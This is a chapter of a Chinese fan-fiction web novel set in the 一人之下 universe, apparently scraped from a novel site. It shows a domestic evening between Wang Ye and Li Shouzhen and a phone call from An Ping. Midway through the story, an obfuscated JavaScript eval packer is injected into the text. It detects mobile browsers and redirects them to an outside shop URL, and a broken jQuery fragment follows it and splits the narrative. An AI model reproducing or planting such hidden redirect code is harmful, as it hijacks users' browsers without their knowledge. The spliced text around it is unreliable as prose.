文趣网 > 都市小说 > [一人之下]小道长,下山不? > 104.第 104 章
    “哦,对了,大娘给我的泡菜罐头,说是直接给你,在我包里,回头你给捎上,她说,她明儿和姐们一块儿出去玩,就不送过来了。”王也边吃边说,筷子敲击在碗的边缘,发出清脆好听的声音。

    “啊,那正好,我把之前寄给我的罐子一块儿都洗干净了,到时候连同我给大爷配的药膏一块给她,吃了人家这么多回,我都不好意思了。”

    “你还惦记着大爷的病呢?”

    “那肯定的啊,我的患者,我都记心里呢!”李守真抬头,冲着王也笑了一下,鬓边有一缕碎发飘下来,横在她的鼻尖,她撅了噘嘴,想要将其吹开。

    王也看见了,伸手,哑声道:“别动,我来。”

    温润的指尖在鼻尖上一触即离,那股瘙痒没了,取而代之的是一股淡淡的青松味。

    李守真抬眸看了他一眼,“你嗓子咋了?感冒了?一会儿给你搓两下?”

    这门手艺她学了十来年了,每回搓完都神清气爽,一点不适都没有,可惜,她很少碰到有人来找她搓一搓,大多都是感冒了,不舒服了,才想起来吃药。

    这么一想,李守真手有点痒了,兴冲冲地盯着王也,“一会儿吃完饭,我给你搓一搓吧?”

    王也狐疑地捧着饭碗,远离李守真,“不会是拿那火烧我呢吧??”

    “啧,用那玩意儿还用烧你?我摸一下你就好了。搞歪门邪道有什么意思?我让你见识见识什么叫真正的手艺人!”李守真撇撇嘴。

    “那还成。”王也点点头,算是答应了,闷头又扒了一口饭,“我一想到那手段,我就怵得慌,篡改人的记忆,多吓人呐!”

    “人也没用在你身上,不怕啊~再说呢,您不是王大师么?您怕什么?”

    “王大师?”王也眼神微眯,轻笑了一声,“也是,反正还有您李大夫呢,我怕什么?”

    那短促的笑声听得李守真耳朵痒痒的,像是一个小耙子在她心尖轻轻挠了一下,她偏头看向王也。

    王也正坐在吊灯下,温馨的米色光线在头顶倾泻,高挺的眉骨在他的眼下投出一小片阴影,让他的眼窝显得更加的深邃,不看人的时候,他眼眸下垂,认认真真地捧着饭碗吃饭。

    若是你叫他,他一抬眉,望过来的淡淡眼神就会显得很有距离感,可恰恰是这种既有分寸的距离感,让人觉得莫名的踏实。

    就像现在。

    “王也。”

    “嗯?”他捧着碗,满脸莫名。

    李守真夹起一筷子菜放进碗里,笑得特别随和,“没什么,就是叫叫你。”

    王也退开了一点,望着李守真的笑容,心道:这是咋了?不会是整什么幺蛾子整我吧?

    可他掐指一算,今儿虽不是大吉,但也没差到哪去啊?

    李守真都吃完了,王也还搁那算呢,她偷笑,“谁最后一个吃完,谁洗碗啊。”

    “啊啊.......啊?”王也下意识点点头,反应过来,李守真都已经收了碗走了,“你这就吃完啦?也不等等我?!”

    “不等不等,你洗碗哈。”

    饭后,酒足饭饱。

    李守真一身舒适的家居服,抵着沙发坐在茶几前,手指飞快地在电脑上来回敲击着,刚洗过的头发没有完全吹干,零星地滴落水珠,氤氲在肩膀上。

    身后,王也横躺在沙发上,暖气房里,他穿着T恤并大裤衩,单手枕着脑袋,另一只手举着一本小说,读得津津有味。

    墙壁上的秒针‘哒哒’地转着,窗外下起了淅淅沥沥的小雨。

    “嗯~~~”

    李守真伸了个懒腰,一身骨头发出噼里啪啦的声音,身上的疲惫瞬间散去了一二,痛痛快快吐出一口浊气,“终于弄完了。”

    “就是你在唐门研究出来的那东西?”王也悠哉悠哉地翻过一页,视线依旧停留在书上。

    “嗯!”

    李守真转过身,双臂撑在沙发上,双眼亮晶晶地盯着王也,“你知道么,如果我这项研究能够投入临床应用的话,新生儿的体质会有一个质的飞跃。”

    她仰起头,幻想着那样的日子,语气也变得梦幻起来,“一生下来就拥有一个健康的身体,再加以锻炼,也不用多,学校里的早操就够了,就足够避免大部分疾病......”

    “嚯,那可真是大功德一件呐。”

    “别不在乎,这可不是一件小事!你不知道,这些年我行医,也遇到了不少的难题,可最难的是什么你知道么?”

    不等王也回答,李守真自顾自答道:“是没钱。”

    “你没穷过,你不知道,绝症固然可怕,但毕竟是少数,而穷病,足以让一个微小的疾病把人拖入进必死的局面。”

    王也静静听着,手里的书页停驻在某一页。

    “我没什么能力让人变得有钱,但我可以让人尽量少生病,减少穷病对人的影响,毕竟...曲线救国也是救嘛。”李守真无奈地耸了耸肩。

    突然,头发被一只大手用力地揉了揉,李守真就听到王也懒懒的声音在耳边响起,“你才多大啊,整天忧国忧民的,也不怕长出皱纹来。”

    “......”

    李守真身体向后仰去,脑袋倒垂着望向王也,眼神平静,口吻平得像一条直线,毫无波澜地吐槽:“您王大师心怀天下,以身入局,还有脸说我?”

    李守真的眼神太犀利,王也抿了抿唇,干脆伸手盖在了李守真的脸上,清了清嗓子,“不要瞎说啊,我什么时候以身入局了?我那是心疼老天师!一把年纪了,还要被这些小辈折腾!”

    “真的?”李守真微微侧了侧脖子,一只眼睛从指缝里射向王也,纤细浓密的睫毛在王也的无名指上刷了刷,戏谑道:“你心疼老天师?老天师知道么?要不我去问问老天师?”

    这事儿老天师那个厚脸皮的肯定不会承认啊!王也心里吐槽。

    “得得得,我认了还不信么?”王也举手投降,懒洋洋地往沙发上一倒,又去翻那本狗血的言情小说了。

    “老爹还是有先见之明啊。”

    李守真听到他小声嘀咕,凑上去又扒拉着他的脸,“你说啥?”

    “诶!唉唉这...这这,压我头发了,压我头发了!疼!疼疼疼!”王也龇牙咧嘴的。

    突然,放在茶几上的手机响了起来。

    两人一愣,这个时候谁会打电话来?

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785842|204121||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    李守真看了一眼来电显示,更惊讶了,“安平?”

    “他不是和那谁远走高飞了么?怎么想起来给你打电话?”王也皱眉。

    “不知道,听听再说。”李守真按下了接通键,靠在王也身上,“喂?”

    王也凑过去,贴着手机偷听。

    电话那头也很嘈杂,似乎安平在和什么人说话,李守真等了一会儿,安平终于想起来了她。

    “小大夫?”他试探地开口。

    “......嗯。”李守真不知其来意。

    安平似是松了一口气,语气一下子轻松了许多,“小李大夫,听说你来了东北,我如今也在东北,恰巧遇到了陈道长,他说你回北京了,就想着给你打个电话。”

    李守真握着手机的手一紧,那不是陈信,那是伪装成陈信的冯宝宝!

    李守真回来之前,把冯宝宝托付给了白老爷,想着就算冯宝宝恢复了身体,有白老爷在,应该也不会有事。

    可没想到碰到了安平。

    他......发现了陈信的身份?

    可听他这话的语气,他没有打算揭发冯宝宝的身份。

    “安大哥,你们在东北?真是巧了,我还以为你们会留在西南呢!”她语气平常。

    “西南那边也去了,后来,山谷外面来了不少公司的人,说是什么搞旅游景区,弄得山里乌烟瘴气的,我就和李慕玄一块出来了,正好,东北这边的林子人少,一住就住到了现在。”安平简单几句话暴露出很多信息。

    李慕玄?也是,他和李慕玄一起离开的。

    只是,李慕玄会不会认出冯宝宝的身份?

    虽然,李守真不担心李慕玄会对冯宝宝不利,但是这些老辈子们,心思七弯八绕的,道德下限低得离谱,谁也不知道他们心里藏着多少小九九......

    “你们还在东北么?”

    “是啊,这儿人少,清静,唔......不出意外的话,我会一直在这待着,你放心,陈道长和李慕玄相处得很好,最近还和我们一块进山玩来着。”

    哦豁。

    李守真和王也对看一眼,冯宝宝掉进虎狼窝了。

    不,不对。

    冯宝宝也不是什么小绵羊。

    不过,有安平看着,一般人应该不会伤到冯宝宝,这一点,李守真还是有信心的。

    “那太好了,这样,你们先玩着,我会尽快赶回去。”

    “哈哈哈,不急,你先把你那边的事处理好再来也不急。”安平笑呵呵道。

    李守真不知道关于曲彤的事儿,安平知道多少,但听他的意思,应该是了解一些的。

    “那多不好意思啊,这样吧,你们那边的开销发给我,我给你们转过去,也不好叫你们花费。”

    说着,李守真往安平的账户里转了几千块钱,想了想,干脆凑了一个整。

    电话挂了。

    李守真和王也面面相觑。

    过了一会儿,王也开口:“这......什么路数?”

    李守真沉默数秒,突然,福至心灵,一拳锤在掌心,

    “你说,有没有可能......他俩没钱了?”